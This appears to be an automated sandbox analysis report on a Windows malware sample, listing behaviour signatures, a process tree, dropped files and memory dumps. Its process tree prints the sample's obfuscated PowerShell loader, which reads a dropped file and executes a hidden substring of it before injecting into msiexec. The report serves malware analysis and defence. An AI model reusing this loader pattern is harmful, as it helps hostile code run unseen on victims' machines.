Analysis
- max time kernel
149s - max time network
136s - platform
windows11-ltsc_2024_x64 - resource
win11ltsc2024-20260709-en - resource tags
- submitted
01/08/2026, 10:32
General
- Target 701d6201778829a7149cd5eff49fb69471b5597fb39885c7460828415437a0e0.exe
- Size 774KB
- Sample260801-mldhassfrd
- SHA256 701d6201778829a7149cd5eff49fb69471b5597fb39885c7460828415437a0e0
Malware Config
Signatures
- Badlisted process makes network request 3 IoCs
Network request originating from process or tool commonly abused by malware.
- Contacts third-party web service commonly abused for C2 1 TTPs 2 IoCs
Legitimate web (hosting) services can be abused by malware authors to host malware or C2s.
- Suspicious use of NtSetInformationThreadHideFromDebugger 2 IoCs
- Command and Scripting Interpreter: PowerShell 1 TTPs 1 IoCs
Using powershell.exe command.
- Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).
- Program crash 1 IoCs
- System Location Discovery: System Language Discovery 1 TTPs 3 IoCs
Attempt gather information about the system language of a victim in order to infer the geographical location of that host.
- Suspicious behavior: EnumeratesProcesses 9 IoCs
- Suspicious behavior: MapViewOfSection 1 IoCs
- Suspicious use of AdjustPrivilegeToken 22 IoCs
- Suspicious use of SetWindowsHookEx 1 IoCs
- Suspicious use of WriteProcessMemory 3 IoCs
Processes
-
C:\Users\Admin\AppData\Local\Temp\701d6201778829a7149cd5eff49fb69471b5597fb39885c7460828415437a0e0.exe"C:\Users\Admin\AppData\Local\Temp\701d6201778829a7149cd5eff49fb69471b5597fb39885c7460828415437a0e0.exe"1⤵
- System Location Discovery: System Language Discovery
- Suspicious use of WriteProcessMemory
-
C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exepowershell.exe -windowstyle 1 "$Kandis=GC -raw 'C:\Users\Admin\AppData\Local\Witnessers153\raabte\amuletters\Fortaetteren\Kvilibrismens.Ort202';$Postharvest=$Kandis.SubString(52612,3);.$Postharvest($Kandis)"2⤵
- Suspicious use of NtSetInformationThreadHideFromDebugger
- Command and Scripting Interpreter: PowerShell
- System Location Discovery: System Language Discovery
- Suspicious behavior: EnumeratesProcesses
- Suspicious behavior: MapViewOfSection
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
-
C:\Windows\SysWOW64\msiexec.exe"C:\Windows\SysWOW64\msiexec.exe"3⤵
- Badlisted process makes network request
- Suspicious use of NtSetInformationThreadHideFromDebugger
- System Location Discovery: System Language Discovery
- Suspicious use of SetWindowsHookEx
-
C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -u -p 3344 -s 16964⤵
- Program crash
-
-
-
-
C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -pss -s 404 -p 3344 -ip 33441⤵
Network
MITRE ATT&CK Enterprise v16
Replay Monitor
Loading Replay Monitor...
Downloads
Afbraend67.Dem
Kvilibrismens.Ort202
transudes.jpg
memory/3344-64-0x0000000000A10000-0x0000000001CF6000-memory.dmp
memory/3344-65-0x0000000001D00000-0x0000000002D5D000-memory.dmp
memory/3344-63-0x0000000001D00000-0x0000000002D5D000-memory.dmp
memory/4924-42-0x00000000070C0000-0x00000000070CA000-memory.dmp
memory/4924-45-0x0000000007240000-0x0000000007251000-memory.dmp
memory/4924-26-0x0000000005630000-0x000000000598B000-memory.dmp
memory/4924-27-0x0000000005B10000-0x0000000005B2E000-memory.dmp
memory/4924-28-0x0000000005B60000-0x0000000005BAC000-memory.dmp
memory/4924-29-0x0000000006AE0000-0x0000000006B76000-memory.dmp
memory/4924-30-0x0000000006080000-0x000000000609A000-memory.dmp
memory/4924-31-0x00000000060A0000-0x00000000060C2000-memory.dmp
memory/4924-32-0x0000000007390000-0x000000000794A000-memory.dmp
memory/4924-22-0x0000000005550000-0x00000000055B6000-memory.dmp
memory/4924-34-0x0000000007FD0000-0x000000000864C000-memory.dmp
memory/4924-35-0x0000000006F50000-0x0000000006F86000-memory.dmp
memory/4924-37-0x0000000073CD0000-0x000000007448C000-memory.dmp
memory/4924-40-0x0000000006F90000-0x0000000006FB0000-memory.dmp
memory/4924-36-0x0000000070670000-0x00000000706BC000-memory.dmp
memory/4924-41-0x0000000006FC0000-0x0000000007063000-memory.dmp
memory/4924-21-0x0000000004E30000-0x0000000004E52000-memory.dmp
memory/4924-43-0x0000000073CD0000-0x000000007448C000-memory.dmp
memory/4924-44-0x0000000073CD0000-0x000000007448C000-memory.dmp
memory/4924-23-0x00000000055C0000-0x0000000005626000-memory.dmp
memory/4924-46-0x0000000007260000-0x0000000007270000-memory.dmp
memory/4924-47-0x0000000007270000-0x0000000007285000-memory.dmp
memory/4924-48-0x00000000072C0000-0x00000000072DC000-memory.dmp
memory/4924-50-0x0000000073CD0000-0x000000007448C000-memory.dmp
memory/4924-49-0x0000000073CE2000-0x0000000073CE3000-memory.dmp
memory/4924-51-0x00000000072B0000-0x00000000072B8000-memory.dmp
memory/4924-52-0x00000000072C0000-0x00000000072EA000-memory.dmp
memory/4924-53-0x0000000007310000-0x0000000007334000-memory.dmp
memory/4924-54-0x0000000073CD0000-0x000000007448C000-memory.dmp
memory/4924-55-0x0000000073CD0000-0x000000007448C000-memory.dmp
memory/4924-56-0x0000000073CD0000-0x000000007448C000-memory.dmp
memory/4924-20-0x0000000004E60000-0x00000000054AA000-memory.dmp
memory/4924-58-0x0000000073CD0000-0x000000007448C000-memory.dmp
memory/4924-59-0x0000000008650000-0x00000000096AD000-memory.dmp
memory/4924-61-0x0000000073CD0000-0x000000007448C000-memory.dmp
memory/4924-62-0x0000000073CD0000-0x000000007448C000-memory.dmp
memory/4924-19-0x0000000073CD0000-0x000000007448C000-memory.dmp
memory/4924-18-0x0000000002300000-0x0000000002336000-memory.dmp
memory/4924-17-0x0000000073CE2000-0x0000000073CE3000-memory.dmp